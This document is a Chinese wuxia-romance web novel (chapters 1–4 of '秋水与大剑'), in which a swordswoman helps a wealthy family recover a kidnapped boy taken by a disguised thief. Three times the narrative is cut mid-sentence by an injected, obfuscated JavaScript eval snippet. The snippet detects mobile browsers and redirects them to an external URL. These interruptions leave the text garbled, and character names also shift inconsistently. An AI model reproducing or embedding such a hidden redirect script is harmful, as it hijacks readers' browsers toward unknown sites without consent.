《秋水与大剑》 1. 吃上国家饭了 褚秋水这辈子没吃过这么大的亏。 自从她拜别宗门开始下山游历，借着她凌霄宗内门弟子的身份，不说人人恭谨，至少对她都是以礼相待的。 哪像现在这样，被南家的家丁五花大绑，收走了大剑，扔在一间柴房里。 旁边堆着半人高的干柴，空气里一股霉味儿掺着些陈年灰尘，呛得她直打喷嚏。 绑她的麻绳有拇指粗，在她腕上系着。 褚秋水低头看了一眼，多少有些委屈。 就这？一根普普通通的麻绳，都没上捆仙锁？她师傅要是知道她被这种东西绑了，能笑话她三年。 她微微用力，轻轻松松就将麻绳挣开了。 柴房无聊，连个能和她练剑的人都没有。 褚秋水想了想，还是准备复盘一下。 她从旁边的柴垛中抽出一根木棍，指尖凝出一道细小的剑气，刷刷几下就把木棍前端削尖了。然后她蹲在地上，开始写写画画，复盘今天的倒霉经历。 褚秋水今天来到南府，本是求取剑谱的。 结果刚报上姓名，门房就神色大变，要将她捆住。她问原因，对方就说她是冒充凌霄宗行骗的骗子，还拐了府上的二少爷，要等家主回来发落。 冤枉啊。 她们凌霄宗是正规门派，有官府颁发的执业资格证，她也是正经有毕业证的门内弟子，怎么可能做这种事。 关键是，下山前师父再三叮嘱：在外行走，不可随意出剑，不可伤及凡人，遇事先讲理，讲不通再跑。 所以她只能假装被他们捆住，老老实实被扔进这间柴房。 褚秋水在地上画了个圈，标注：南府疑点。 当务之急，是见到南府家主，澄清误会，把剑要回来。 就在这时，柴房门响了一声。 褚秋水神色一凛，手上木棍直朝声音来处刺去！ “啊！” 棍尖在距对方喉前一寸之处稳稳停住。 褚秋水打量着来人。 是个姑娘，穿着南府下人的衣裳。生了一双桃花眼，眼波流转间自带三分情意，此刻却被吓得满是惊恐。本就白皙的小脸，在从门缝透进来的光线里显得更白了。 她手上拎着一个食盒，米粥的香气从缝隙中飘出来。 “你是谁？”褚秋水没有收棍，反而将木棍抵得更近，“我要见你们家主。” 她看着那姑娘的眼睛。那眼神里的恐惧是真的，但她手里的食盒却是稳稳当当的，一点没晃。有点意思。 那姑娘被棍尖指着，声音都在发抖：“我……我是夫人派来的……给你送粥的……” 她把食盒打开，里面是一碗小米粥，粥面上浮着一层切得细细的咸菜。 褚秋水抿了抿唇。 她不吃咸粥。 但眼下不是挑嘴的时候。 “你先喝一口。” 那姑娘愣了愣，然后乖乖端起碗，抿了一小口粥，还特意把碗沿转了个方向，露出没有碰过的位置。 褚秋水这才接过碗，一边喝一边琢磨着打听点情报。 “你是？” 那姑娘垂下眼睛，声音更低了些：“奴是……是大夫人身边的丫鬟夏荷……” 她面上不动声色，继续问：“怎么是你来送饭？你们府上其他人呢？” “夫人说人手不够，都去前厅接大少爷了。”夏荷垂着眼睛，细声细气地说，“姑娘，粥要凉了。” 褚秋水喝了半碗，还是觉得这人可疑。 她眼珠一转，计上心来。 “哎呀——” 她佯装手滑，粥碗直直往地上掉去。 若对方也是修炼之人，接住一个掉落的碗就跟喝水一样简单。若不是，那碗碎了也就碎了，南府家大业大也不差这一个。 褚秋水盯着夏荷的手。 然后她看见，夏荷的手动了。 夏荷下意识地去接住那掉落的碗。手腕一翻，掌心一托，那碗就十分听话的稳稳落在她手里。 粥一滴都没洒。 褚秋水的眼睛亮了。 有点东西啊。 正好练练，她也有些手痒了。 她二话不说，伸手就去抓那只碗。 夏荷像是早有防备，手腕一翻，碗在她掌心滴溜溜转了个圈，稳稳当当滑到另一只手上。 “姑娘这么急着喝粥？”夏荷冲她眨眨眼，一脸无辜，“这碗都差点摔了，奴为姑娘留住了晚餐，姑娘不该夸奴吗？” 褚秋水笑了。 这丫鬟，实在是有趣，陪她玩玩又如何。 “夸你？”褚秋水说，“行啊，那得看看你的本事。” 话音未落，她右手探出，直取那只碗。 夏荷防备不及，被她取了碗。她也不恼，始终笑眯眯地看着褚秋水。 褚秋水顺势喝一口粥，感觉咸粥也没这么讨厌。 “看你接不接得住。” 说完，褚秋水指尖凝着些灵力，略用力地将碗掷去。 夏荷见她用了真格，也使出些灵力，将抛来的碗卸力之后，再拿在手上，顺着也喝了一口。 “姑娘好大的力气。”夏荷抿嘴笑，“这要是打在奴身上，奴就见不到明天的日光了。” 褚秋水挑眉。 她刚才那一掷，虽然没用全力，但也用了两分劲。普通人别说躲，连反应都反应不过来。 一个丫鬟，竟然能有如此功力。 “你到底是什么人？”褚秋水问。 夏荷眨眨眼，一脸无辜。 “奴说了呀，是大夫人的丫鬟——” 话没说完，夏荷手上一动，她抬起头，冲着天上看了一眼。 “碗要掉了。” 褚秋水看见她的动作，下意识抬头。 那只碗正从半空中落下来。 她伸手去接，就在这时，夏荷忽然从她掌下溜了出去，身形一晃就到了一丈开外。 “你到底是什么人？”她问。 夏荷被她这样质问，眼眶都红了，看着楚楚可怜。但那双桃花眼里，此刻却有着点兴奋。 “奴……” “别装了。”褚秋水打断她，“练过的人，装不了普通人。” 夏荷沉默了一瞬，随后恢复了往常的那副笑容。这笑容和刚才假装的楚楚可怜完全不同，此时的笑容带着点狡黠，还带着点玩味。 “褚女侠好眼力。” 褚秋水眯起眼。 夏荷略一走位，拾起了那根被褚秋水削尖的木棍。 “来过两招如何。” 她拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371596|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那根棍子，随手挽了个剑花。那动作行云流水，赏心悦目，就是太花哨张扬了，和他这个人一样。 褚秋水有些心痒，她在宗门中就有剑痴的名头，遇到这种邀请，怎么可能会拒绝。 “花架子。” “花架子？”夏荷挑眉，“不试试怎么知道。” 话音未落，棍子已经刺了过来。 褚秋水侧身让过，随手从柴垛里又抽出一根木棍。 两人就这么在柴房里比划起来。 那人走的是轻灵路子，棍法飘忽不定，专挑刁钻角度。 褚秋水则是大开大合，每一棍都带着呼呼风声，这还是她收了力的，不然这柴房早就塌了。 过了十几招，褚秋水心里有了数。 这人确实练过，而且练得不差。她的路数太巧了，处处都是取巧的法子，没有硬桥硬马的真功夫。 遇上普通修士能周旋一二，遇上她这种从小被师傅往死里练的…… “破绽。”褚秋水一棍敲在她棍身中间，震得她虎口发麻。 那人后退一步，甩了甩手，龇牙咧嘴的，却还在笑。 “褚女侠好大的力气。” 褚秋水把棍子往地上一杵，看着她。 “说吧，你到底是谁？来干什么？” 夏荷把棍子还给她，拍了拍手上不存在的灰，忽然往前凑了一步。 两人离得很近，近到能闻见她身上淡淡的竹叶清香。 “我来干什么？”她说，声音放得很轻，“来见你啊。” 褚秋水愣住了。 “见我？” “嗯。”那人眨眨眼，“早就听说凌霄宗有个背大剑的姑娘，力气大得能一拳打死牛。我好奇，想看看长什么样。” 褚秋水：“……” 这什么乱七八糟的理由。 “你认识我？” “当然认识。”那人答得理直气壮，“不然来给你送什么粥。” 褚秋水在练剑上打遍同辈无敌手，但对于这种死皮赖脸胡搅蛮缠的人，她却不知道怎么应对，一下子被夏荷这话堵得不知该说什么。 她仔细打量面前这个人。明明是女装，但站姿、说话的方式，总让人觉得哪里怪怪的。可要说哪里怪，又说不上来。 “你……” 那人忽然竖起手指，抵在唇边。 “嘘。” 褚秋水竖起耳朵。 外面传来一阵脚步声。 “褚女侠？褚女侠？先前多有得罪，家主让我带您去前厅，是我们错怪您了——” 有人来了。 褚秋水转头看向翠菏。 “改日再会，褚姑娘。” 翠菏说完，身形一晃，悄无声息地飘到了柴房的小窗边。 那窗户只有一尺见方，人根本钻不出去。 但那人只是轻轻一纵，整个人就像一片叶子似的，从那个小窗口飘了出去，没漏一点脚步。 轻功好得离谱，比她的任何一个师兄师姐都要好。 褚秋水看着那个空空的小窗，愣了一瞬。 门外脚步声越来越近。 她低头看看手里的木棍，又看看地上打翻的粥碗，再看看自己挣开的麻绳。 有些可惜，过招还没过瘾，人就先走了。 2. 演戏 褚秋水跟在那名带她去前厅的仆人身后，一边走一边在心里把南家的底细过了一遍。 南家老爷就是百年前的天下第一剑修，一柄云峤剑使得出神入化，当年以一己之力挑落十八路高手的故事，是多少剑修梦寐以求的传奇。 褚秋水此次前来南府，就是为了借阅他当年写下的《南峤剑谱》。 南家老爷有两个孩子，长子是现任家主南郃。老爷子退隐后，就把掌家权交给了这个儿子。 这位大少爷据说身体不太好，膝下无子，鲜少在外露面，但把南家打理得井井有条，短短十年就把一个普通富户经营成北方边城数一数二的世家。 被拐的孩子是南家老爷的老来子，二少爷南屿，不过总角之年，现在被南郃夫妻当儿子养着。 褚秋水被押进来的时候观察过府内的守卫——肃然有序，把守森严。按理说，从这种地方拐走一个孩子并不容易。 二少爷身边围着二十几个奶娘、小侍，在这种人墙战术下，就算是二十几个馒头都要啃上一会儿，怎么会突然不见？ 除非是有人里应外合。 她心里有了些猜测，只等见到南郃，应该就能印证一二。 穿过最后一条长廊，终于到了云陵堂的会客厅。 入夜了，云陵堂内点上了长明的鲛油灯，火光柔和，映得厅内恍若白日。这灯油珍贵，一盏能烧一个月，南家随手就点了七八盏，确实家大业大。 主位上，一位青年正低头看什么，听见脚步声，他抬起头来。 褚秋水微微一怔。 这人跟她想象的不太一样。 生得倒是玉容清姿，眉眼温润，但脸色有些苍白，他面前八仙桌上摆着的，正是她那柄比人还高的大剑。 “褚女侠，”他开口，声音温和，但有些虚弱，“先前多有得罪。这是你的剑，我都好好存着，现在物归原主。” 他双手捧起大剑，递了过来。 褚秋水见状，也是二话没说把剑接了回来。她的剑是由被烛九阴盘过的千年玄铁锻造而成，铸剑不易，只成功案例只此一柄，此剑远非常人能拿起的。 这南家大少爷是有些功夫在身上的。 褚秋水低头仔细探查一番，发现自己的剑确实完好无损，这才抬眼看向面前的青年。 “南家主，这就是你们的待客之道吗。”她淡淡开口。 南郃带着歉意，嘴角弯起一个温和的弧度：“并非如此。下人无礼，让女侠受惊了。我已罚过他们，还望女侠海涵。” 褚秋水看着对方认错态度良好，心里那点不快不知不觉就散了。 她本也不是爱胡搅蛮缠的人，何况这南府有趣之处颇多，也没让她吃什么苦头。 “好说。”她把剑往背上一挂，“南家主，我为学艺求谱而来。剑谱的事——” “自然。”南郃示意她坐，“女侠稍坐，容我细说。” 两人落座，褚秋水把剑横在腿上，她可舍不得她的宝贝再离开她了。 南郃端起茶杯，轻轻抿了一口，放下。动作慢条斯理的，每一个关节都透着一种急不得的气息。 褚秋水看着他，觉得自己喝茶是牛嚼牡丹，要是像他这么慢地喝，自己能急死。 “女侠来意，我已知晓。”南郃开口，轻咳两声，“家父的剑谱，确在府上。只是……” 他顿了顿，抬眼看向褚秋水。那目光温和，却让人看不透他在想什么。 “女侠可知，我家近日出了些事？” “令弟失踪的事？”褚秋水问。 南郃点点头。 “实不相瞒，我今日请女侠来，正是想求女侠相助。”他单刀直入，“若女侠愿助我寻回阿弟，剑谱双手奉上。” 褚秋水挑眉。比她想象中要直接，她以为要绕半天弯子。 “令弟失踪，南家主不报官？” “报了。”南郃说，“官府也查了，一无所获。” “那南家主为何想到我？” 南郃看着她，从容地解释。 “凌霄宗的名头，我信得过。女侠行走江湖之时，多行仗义之事，南某也多有耳闻。”他说，“再者……” 他又顿了顿，目光在她背后的大剑上扫过。 “令弟失踪，未尝与女侠无关。” 前半段话给褚秋水夸的飘飘然，后半段话又让她摸不着头脑。 “此话怎讲。” “阿弟失踪那天，正和旁系几个孩子一起听学。过了下课许久，孩子们还没出来。等小厮察觉不对，破门而入时，才发现几个孩子和教书先生都晕着，桌上留着‘褚秋水到此一游’的字条，而阿弟已经不见了。” “竟然是这样，难怪我当时一报名字，门房就和见鬼了一样，”她一拍大腿，“行我答应了。” 南郃愣了一下，他大概没想到她答应得这么干脆。 “女侠……不再考虑考虑？” “考虑什么？”褚秋水说，“你们家剑谱我想要，你们家孩子丢了该找，两件事凑一块儿，正好一起办了。” 她看着他。 “不过我有个条件。” 南郃神色不变：“女侠请说。” “跟我打一架。” 南郃愣住了。 “……什么？” “和我打架。”褚秋水站起来，把刚放下的剑又抽出来，“我来之前就听说了，你们南家剑法名动天下。我想见识见识。” 她看着南郃，眼中全是志在必得。 南郃沉默了一瞬，随即点点头。为了弟弟，他必须答应。 “女侠执意要比，那便比。”他说，“不过我有言在先，我身体不好，只能过三招。” 褚秋水点点头，也不愿难为人。 “三招就三招。” 老管家在旁边急得直搓手：“大少爷，您这身子——” “无妨。”南郃摆摆手，“去把剑取来。” 老管家没办法，只好去取剑。 不一会儿，他捧着一柄长剑回来。 那剑通体青色，剑身细长，剑柄上缠着银丝，看着就轻灵。 南郃接过剑，握在手里。 那一刻，他整个人笃的有些不一样了。还是那副单薄的身板，但握剑的那只手，稳得纹丝不动，眼神也犀利起来。 褚秋水满意地点点头，这才是剑修过招的架势。 “好。”她说，“那我出招了。” 大剑出鞘，带起一阵风声。 她没用什么招式，就是一记平平无奇的横扫，但力气没收，使了十成十的劲。 南郃身形一动。 他动得极轻，像是被风吹起的柳絮，贴着剑锋飘了过去。那柄青剑在他手里划过一道弧线，直取褚秋水手腕。 褚秋水大剑一翻，挡开这一剑。 两剑相交，发出清脆的鸣响。 南郃的剑被震得往后一荡，他的人也跟着退了一步。 褚秋水心里有了数。 这人剑法确实精妙，但力气不足。他的剑走的是轻灵路子，每一招都恰到好处，多一分则过，少一分则亏。可惜他身体撑不住，不然她真想好好打一场。 三招过完，南郃收剑，又咳了两声。 “女侠好力气。”他说，“是我输了。” 褚秋水把剑收回来，看着他。 “你们家剑法名不虚传。”她认真地说，“我虽然赢了，但赢得不痛快。你要是身体好，咱们能打很久。” 南郃愣了一下，然后笑了。 那笑容比之前真诚了些。 “女侠这话，我当是夸奖。” “就是夸奖。”褚秋水说，“行了，我答应了。帮你找弟弟。” 南郃看着她，目光有些复杂。 “女侠果真如传闻中一样，就不问问，我有什么线索吗？” “你有线索吗？” “有一点。” 听完他的话，更加验证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371597|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了褚秋水的猜想。 褚秋水摸着剑柄：“南家主，我有一计，但需要家主配合……” 等说完，门外忽然传来一阵急促的脚步声。 “阿郃！” 那声音又急又亮，颇有力气。 褚秋水直起身，回头看去。 一个女子大步走了进来。 她穿着绛红色的衣裙，步伐带风，眉眼凌厉，一看就是当家的。但她的目光落在南郃身上时，那双眼睛里的锐利一下子就软了。 “阿郃！”她快步走到南郃身边，上上下下打量他，“你怎么样？我听说你动剑了？” 南郃还没来得及开口，她已经握住他的手，翻来覆去地看。 “你疯了？你那身子能动剑吗？大夫怎么说的？让你少动少动，你就是不听——” “小敏。”南郃轻轻叫了一声，眼神也柔和了许多。 那女子抬起头，瞪着他。 “我跟你说过多少次了，有什么事让下人去做，你要是再晕一次，我就……” 她说着，眼眶忽然有点红。 南郃看着她，目光温柔得像一汪水，眼中根本装不下别人。 “没事。”他轻轻拍了拍她的手，“就过了三招，不碍事。” “三招？”那女子瞪大眼睛，“你还想过几招？” 褚秋水在旁边看着，觉得自己已经吃饱了，正在发光发亮。 她轻咳一声。 那女子这才注意到她，转过头来。 “你就是凌霄宗那位姑娘？” 褚秋水点点头。 那女子打量她一眼，目光在她背后的大剑上顿了顿。 “我叫江时敏，是阿郃的妻子。”她说，“多谢你照顾他。” 褚秋水被她这话说得有点心虚。 她没照顾，她刚把人家打……不对，是刚和对方比划了几下。 “那个……应该的。”她含糊道。 “阿郃肯定求你帮忙了吧？”她说着，带着点无奈，“他这人，看着温和，其实最会给人下套。你别被他绕进去。” “小敏。”南郃无奈地叫了一声，试探地晃了晃江时敏的衣袖。 江时敏把他的手拍开，只是看着褚秋水。 “姑娘别介意，他就这样。不过他是真心想找弟弟的。阿弟本也有不足之症，身体比寻常儿童要弱一些。你要是愿意帮忙，我感激不尽。” 她说着，微微福了福身。 褚秋水连忙摆手。 “不用不用，我答应了就肯定帮。而且师傅也说过，我们剑修修习剑术，本也就是为了在别人需要的时候帮上忙。” 江时敏点点头，又看向南郃。 “阿郃，给人家姑娘安排住处了吗？” “安排了。”南郃说，“东跨院那间。” 江时敏想了想，点点头。 “那间好，清静。”她转头看向褚秋水，“姑娘一路奔波也累了，先去歇着吧。有什么事明天再说。” 褚秋水求之不得。 她正要走，南郃兀然开口。 “褚女侠。” 她回头。 南郃和江时敏比肩而立，互相牵着对方的手。 “我给你备了份礼物，放在房间里了。”他冲她眨眨眼。 江时敏在旁边哼了一声。 “什么叫你备的？明明是我挑的。” 南郃了然地笑着像是知道她会这么说。 “好好好，是你挑的。小敏眼光很好，女侠你一定会喜欢的。” 褚秋水看着他们两个，感觉有些羡慕，毕竟这样纯粹的感情不多见。 她摆摆手，跟着仆人往东跨院走去。 到了之后，她推开门，走进院子。 夜风吹过来，带着淡淡的桂花香。 屋里亮着灯，暖融融的。 她推开门，往里看了一眼—— 然后愣住了。 屋里有人。 3. 睡眠和计划 一个熟悉的声音在黑暗中响起，带着点委屈：“你去哪儿了？我一个人在屋里等了好久，还以为你今晚不回来了。” 声音很熟悉，是那个在柴房给她送粥的夏荷。 褚秋水：“……你就是南夫人准备的惊喜？” 真是好大一张床，真是好大一个惊喜。 “对呀对呀，”夏荷无辜地说到，“你不喜欢吗。” 褚秋水沉默着点亮桌上的烛台，火光摇曳间，她可以看见对面女孩那张楚楚可怜的脸。 这究竟是什么鬼热闹！夏荷要对她实施睡眠计划吗！ 她捏了捏眉心，努力让自己的语气平和一些：“行，惊喜我知道了。你现在可以回你自己屋了。” “可是……”她往被子里缩了缩，只露出半张小脸，声音闷闷的，“外面好冷。” 褚秋水看了一眼窗外——月明星稀，微风徐徐，是个再舒服不过的春夜。 “外面不冷。” “冷的。”她固执地重复一遍，还配合地打了个喷嚏，“阿嚏——你看。” 褚秋水感觉对面的人很是难缠，她的脑袋嗡嗡作响。 夏荷又往被子里缩了缩，只露出低垂的双眼，里面盛满失落：“我知道了，你是嫌弃我了。” “不不不，我当然不是。”褚秋水觉得有点头疼。 夏荷不语，只是一味地看着她。 “好吧好吧。”褚秋水不想再直面那束委屈谴责的目光，蹬了鞋子准备上床。 躺在床上，身边莫名其妙多了一个虎视眈眈的人，总感觉怪怪的。 褚秋水闭着眼，在心中暗自给自己打气。 没事的没事的，两个女孩子能有什么事，哈哈，放松点。况且她天生神力，难道对方还能直接捆住她吗。要是真的捆，她就左勾拳!右勾拳!飞踢！拎衣领往地上甩…… 神游之时，夏荷伸手过来，轻抚上她的脸，声音温柔。 “你的脸好烫啊……” “你你你你别动我啊，我会用大剑啊我和你说……”褚秋水在她摸过来的一瞬间就想跳起来了，怕吓到她，只能硬生生忍住。 “说什么呢，”夏荷捂着嘴偷笑，“真精神啊。女侠，你要帮着家主找二少爷吗。” “嗯。” “你准备怎么帮啊。” “这个不能透露，但我能保证，三天之内，必然把孩子给找到。” 见身旁的人没再说什么话，褚秋水总算放下心来，安抚自己一下就准备着酝酿睡意。 下一刻，柔弱的声音再次响起了：“女侠，我的手好凉啊……” 褚秋水没睁眼，马上把自己这边的汤婆子递过去。 对面这次倒是没拒绝，接了过来。 但随即，夏荷哎呀一声：“嘶——好烫。” 轻言漫语钻入褚秋水耳中，对面身上的青竹香味也越来越近。褚秋水知道再不理她，她真的要贴过来了。 褚秋水被迫睁开眼，面前的女孩眼若春水，可怜兮兮地把烫红的指尖伸过来。 “女侠你瞧，我的手……” 哈哈，等医生赶来，这点红痕也消了吧。 虽然是这么腹诽，但为了防止她再折腾什么东西，褚秋水还是把对方的手拉来捂住。 见褚秋水这么坦诚，卫寒苍反而有些扭捏。 她心中天人交战许久，才小声地问道：“你对其他女孩子也是这样吗。” 没人回答，她才发现褚秋水已经睡着了。 “哼……笨蛋。” 虽然这样说着，她还是贴了过去，离对方更近了一点。 第二天，褚秋水受江时敏所邀，去她的院子里吃着新买的果子。 两人一边吃着，一边唠嗑。 “夫人和家主感情真好。”褚秋水嚼嚼嚼，这果子真新鲜。 江时敏脸上挂着幸福的笑意：“是，大家都这么说我和阿郃。诶，昨天晚上我为你准备的东西，你可还满意？” “我……你……嗐……”褚秋水没想到她会问这个，顿了顿，“其实，美色是于修炼全然无关的外物。” “美色？”江时敏有些疑惑，“是昨晚的酥饼……” 这时，外头忽然传来一阵喧哗。 脚步声、喊声、笑声，混在一起，由远及近。一个小厮连滚带爬地跑进来，脸上的表情又惊又喜：“夫人！夫人！二少爷找到了！” 江时敏手里的果子“啪”地掉在桌上。 “什么？”她霍然站起来，“在哪里？” “在东跨院！”小厮喘着气，“有人在后院发现二少爷，正睡着呢，身上盖着件袍子，一点伤都没有！” 江时敏二话不说就往外冲。跑到门口，她忽然停下来，回头看了褚秋水一眼。那眼神里有一闪而过的紧张——她们都知道，这是计划的第一步。 “褚姑娘，你跟我来。” 褚秋水点点头，跟上去。路过回廊的时候，她余光扫见角落里站着个小丫鬟，脸色白得像纸，正死死攥着衣角。 褚秋水心里暗自记下，但面上不动声色，跟着江时敏快步走了。 东跨院里已经围了一圈人。南郃站在门口，脸色还是那么苍白，但眼睛亮得吓人。看见她们过来，他微微点头，侧身让开。 屋里，一个小小的身影躺在床上，盖着被子，睡得正香。那张小脸圆圆的，睫毛又长又翘，确实是南屿没错。 当然，是假的。 江时敏扑到床边，一把抱住那孩子，哭得惊天动地：“阿弟啊！你可算回来了！”那哭声情真意切，褚秋水在旁边看着，差点都信了。 南郃走过去，轻轻拍着妻子的背，眼眶也红了。他抬头看向门外那些仆从，声音沙哑却清晰：“去，告诉所有人，二少爷找到了。今夜设宴，阖府同庆。” 欢呼声此起彼伏。 褚秋水站在角落里，看着人群散去，看着南郃扶着江时敏进了内室，看着“南屿”被奶娘抱去洗漱。一切都很自然，自然得像真的一样。 她回到自己的院子时，天已经黑了。 深夜，万籁俱寂。 东跨院里只留了几盏守夜的灯，昏黄的光透过窗纸，在地上投出淡淡的影子。那个“找到”的二少爷被安排在内院的小房间里，奶娘守在隔壁，偶尔传来一两声翻身的声音。 一道影子贴着墙根，无声无息地滑了过来。 那影子很轻，轻得像一片落在水面的叶子，连守夜的灯都没晃动一下。她停在窗边，侧耳听了一会儿，然后伸手，轻轻推开窗户—— “等你很久了。” 灯火骤亮。 褚秋水从门后闪出来，大剑横在身前。南郃从屏风后走出来，手里握着那柄青色的剑。江时敏从内室出来，手里拿着一把短刀，刀刃泛着寒光。 三个人，三个方向，把窗户堵得严严实实。 窗边的人僵住了。 烛光下，那张脸白得近乎透明，桃花眼里满是惊恐。她穿着那身丫鬟的衣裳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371598|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，手还搭在窗沿上，整个人像被定住了一样。 夏荷。 或者说，是冒用夏荷名字的拐子。 “果然是你。”南郃的声音很平静，但握剑的手微微发颤，不是害怕，是气的。 江时敏就没这么客气了。她一步上前，短刀抵在“夏荷”脖子上，声音冷得像冰：“我弟弟呢？” “夏荷”看着她，又看看褚秋水，再看看南郃。那张脸上的惊恐慢慢褪去，取而代之的是一点是无奈，又像是好笑。 “你们设局骗我？”她问。 “不然呢？”褚秋水把大剑往地上一杵，发出沉闷的声响，“我说三天之内找到孩子，就是要引得你好奇。毕竟，只有凶手才会反复回到现场。” “夏荷”听着她的分析，连连肯定，脸上的笑意也越来越明显。 不愧是她，虽然有着初出宗门的稚嫩，但也不失机敏和热血。 “褚姑娘，”她说，“你演我。” 褚秋水被她这话噎了一下。 “你行骗在先，我演你怎么了？” “夏荷”歪了歪头，那双桃花眼在烛光下亮得惊人。 南郃在旁边轻咳一声，把话题拉回来。 “姑娘，”他说，“我不管你是什么来历，我只问你一句——我弟弟在哪里？” “夏荷”看着他，沉默了一会儿。 然后她叹了口气。 “南家主放心，”她说，“令弟好好的，一根头发都没少。我就是借来玩几天，本来打算过两天就还回来的。” “玩？”江时敏的短刀又往前送了送，“你拿我弟弟当什么？” “夏荷”看着那把刀，眨眨眼。 “夫人别急，”她说，“令弟在城外三里的白云观里，交给一个道姑看着。吃得好睡得好，比在府里还胖了两斤。” 江时敏的手抖了一下。 “你……” “我说的是真的。”“夏荷”认真地看着她，“我虽然爱偷东西，但从不害人。尤其是小孩，碰都不会碰一下。” 她顿了顿，忽然笑了。 “而且，我还帮他治了身上的不足之症。” 南郃和江时敏同时愣住了。 “什么？” “令弟先天心脉有损，”卫寒苍说，“这个你们应该知道。我给他喂了颗九转护心丹，以后不会再犯病了。” 江时敏有些拿不准对方的想法，她转头看向南郃，南郃也在看她。 九转护心丹。那是传说中能起死回生的灵药，有价无市，有钱都买不到。 这人，偷了人家的孩子，还给孩子喂了颗仙丹？ “你……”南郃开口，声音有些哑，“你到底图什么？” “夏荷”看着他，又看了看褚秋水，笑得坦然。 “只是借机扬名罢了。” 屋里安静了一瞬。 褚秋水愣住了。 “扬名？” “嗯。”“夏荷”点点头，“能从戒备森严的南府偷出被视若珍宝的小少爷，再原封不动地还回来，这笔生意，做得划算得很。” 褚秋水：“……” 这是什么理由？偷东西还挺理直气壮的。 南郃听到“夏荷”的回答，若有所思地看了褚秋水一眼。 趁着众人愣神之际，“夏荷”微微一笑：“当然，有借有还，再借不难。你们接好了——” 说完，她不知从哪里变出一个襁褓，向着房梁抛去。 4. 我要跟着你 众人皆是被这一遭吸引了注意，所有人的目光都集中在那个襁褓上。 江时敏最先出手，抢着接住了那个襁褓，剥开一看，正是失踪的二少爷南屿。南屿呼吸平和，养的白白胖胖的，睡得十分香甜。 南澈也是立马凑过去，手指搭在小孩的脉搏处探着。 他和江时敏对视一眼，在对方的眼中看见了震惊——南屿的病竟然真的好了。 这么多年，南府为南屿遍寻名医秘药，但这是先天不足之症，难以根治。现在竟然被一个陌生的人直接治好了。 等三人反应过来，准备再寻“夏荷”的身影时，对方却不知什么时候就已经离开了。 此刻，江时敏把南屿从襁褓里抱出来，轻轻放在他常睡的小床上，又给他掖好被子。 看着孩子安睡的小脸，江时敏感觉这比一起都要重要。 这时，管家来到她身边，轻声汇报，她的贴身丫鬟夏荷被找到了，已经把所有的都招了。 原来半月前，有个神秘人找到她，给了她一大笔钱，让她配合自己。神秘人会简单易容，借着夏荷的名头，和她共用一个身份在府里游走，趁二少爷上课的时候把人偷走。 夏荷知道这件事之后也是吓坏了。她本以为对方只是来偷点金银珠宝，却没想到对方把主意打到被南府视为眼珠子的二少爷身上。 之前南府封府了她没法走，当她看见二少爷被找回来之后，立刻收拾东西准备离开，没想到被在后门守着的管家逮个正着。 江时敏把这些都和褚秋水说了一遍。南郃带着人出府了，准备寻着“翠菏”留下的痕迹把人逮回来。 “那贼人可曾留下名号？”褚秋水问。 “没有，那人行踪诡谲，不常以真面目示人。”江时敏摇摇头。 但江时敏像是想起来什么似的：“秋水啊，我想起夫君之前和我提起过的一个人，和此人的行事非常像。” “谁？” “江湖人称‘盗圣’的那位。” 褚秋水眉头一皱：“盗圣？那个专偷神器的贼？” “就是他。”江时敏放下酒杯，开始掰着指头数，“此人出道五年，偷遍天下无敌手——北冥派的镇派宝剑、东海阁的千年珊瑚，甚至听说连皇宫大内他都进去逛过一圈，顺走了御书房里的一块端砚，还在墙上留了首诗。” 褚秋水：“……留诗？” “对，他有个毛病，偷完东西喜欢留记号。”江时敏表情一言难尽，“有时是一朵梅花，有时是一句诗，有时干脆画只王八。江湖人称‘盗亦有道’——其实是他手痒，不留下点什么都觉得白来一趟。” 褚秋水想起那日那人说话的语气，忽然觉得这确实像他能干出来的事。 “他叫什么？” “不知道。”江时敏摊手，“没人知道他的真名，年纪轻轻，神出鬼没。有人说他是个翩翩公子，有人说他是个糟老头子，还有人说他是女的——因为有人见过他女装出入青楼。” 褚秋水：“……女装？” “对，此人易容术出神入化，男装女装随意切换。”江时敏叹气，“最邪门的是，他女装的时候也是貌美，据说当年在扬州扮花魁，迷得一群富商神魂颠倒，第二天醒来发现自家库房空了，还以为是花魁显灵。” 褚秋水沉默了。 两人又说了一会话，褚秋水拿了剑谱和南家的一只玉玲，就离开了。这玉玲是南家给她的承诺，见玉如见人。 少女背着大剑，独自走在竹林小径上。 午后阳光正好，照在她的身上，暖洋洋的。 